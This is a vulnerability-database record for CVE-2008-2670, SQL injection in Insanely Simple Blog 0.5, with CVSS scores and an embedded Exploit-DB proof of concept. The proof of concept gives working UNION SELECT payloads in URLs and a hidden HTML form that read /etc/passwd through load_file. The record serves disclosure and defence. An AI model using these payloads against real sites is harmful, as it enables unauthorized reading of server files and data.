{"id": "CVE-2008-2670", "bulletinFamily": "NVD", "title": "CVE-2008-2670", "description": "Multiple SQL injection vulnerabilities in index.php in Insanely Simple Blog 0.5 allow remote attackers to execute arbitrary SQL commands via (1) the id parameter, or (2) the term parameter in a search action. NOTE: the current_subsection parameter is already covered by CVE-2007-3889.", "published": "2008-06-12T02:32:00", "modified": "2018-10-11T20:42:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2670", "reporter": "cve@mitre.org", "references": ["https://www.exploit-db.com/exploits/5774", "http://www.securityfocus.com/archive/1/493224/100/0/threaded", "http://securityreason.com/securityalert/3938", "http://www.securityfocus.com/bid/29630", "http://chroot.org/exploits/chroot_uu_010"], "cvelist": ["CVE-2008-2670"], "type": "cve", "lastseen": "2020-10-03T11:50:59", "edition": 3, "viewCount": 3, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:5774"]}], "modified": "2020-10-03T11:50:59", "rev": 2}, "score": {"value": 7.4, "vector": "NONE", "modified": "2020-10-03T11:50:59", "rev": 2}, "vulnersScore": 7.4}, "cpe": ["cpe:/a:insanelysimple2:isblog:0.5"], "affectedSoftware": [{"cpeName": "insanelysimple2:isblog", "name": "insanelysimple2 isblog", "operator": "eq", "version": "0.5"}], "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": true, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {}, "cpe23": ["cpe:2.3:a:insanelysimple2:isblog:0.5:*:*:*:*:*:*:*"], "cwe": ["CWE-89"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:insanelysimple2:isblog:0.5:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}]}}

{"exploitdb": [{"lastseen": "2016-01-31T22:33:09", "description": "Insanely Simple Blog 0.5 (index) Remote SQL Injection Vulnerabilities. CVE-2008-2670. Webapps exploit for php platform", "published": "2008-06-10T00:00:00", "type": "exploitdb", "title": "Insanely Simple Blog 0.5 index Remote SQL Injection Vulnerabilities", "bulletinFamily": "exploit", "cvelist": ["CVE-2008-2670"], "modified": "2008-06-10T00:00:00", "id": "EDB-ID:5774", "href": "https://www.exploit-db.com/exploits/5774/", "sourceData": " _____ _ _ _____ _____ _____ _____ \n / ___| |_| | _ \\| _ | _ |_ _| \n | (___| _ | [_)_/| (_) | (_) | | | \n \\_____|_| |_|_| |_||_____|_____| |_| \n C. H. R. O. O. T. SECURITY GROUP\n - -- ----- --- -- -- ---- --- -- - \n http://www.chroot.org\n\n _ _ _ _____ ____ ____ __ _ \n Hacks In Taiwan | |_| | |_ _| __| | \\| |\n Conference 2008 | _ | | | | | (__| () | |\n |_| |_|_| |_| \\____|____|_|\\__|\n http://www.hitcon.org\n\n\nTitle =======:: Insanely Simple Blog 0.5 (index) Remote SQL Injection Vulnerabilities\n\nAuthor ======:: unohope [at] chroot [dot] org\n\nIRC =========:: irc.chroot.org #chroot\n\nScriptName ==:: Insanely Simple Blog \n\nDownload ====:: http://jaist.dl.sourceforge.net/sourceforge/insanelysimple2/insanely_simple_blog0.5.zip\n\nMirror ======:: http://www.badongo.com/file/9706939\n\n______________________\n[SQL Injection]\n\n- {index.php} -\n\nhttp://localhost/isblog/index.php?id=-99+union+select+0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*\n\nhttp://localhost/isblog/index.php?current_subsection=-99+union+select+0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*\n\n<form action=\"http://localhost/isblog/index.php?action=search\" method=\"post\">\n<input type=\"hidden\" name=\"term\" value=\"-99' union select 0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*\">\n<input type=\"submit\" value=\"send\">\n</form>\n\n______\n[NOTE]\n\n!! This is just for educational purposes, DO NOT use for illegal. !!\n\n# milw0rm.com [2008-06-10]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/5774/"}]}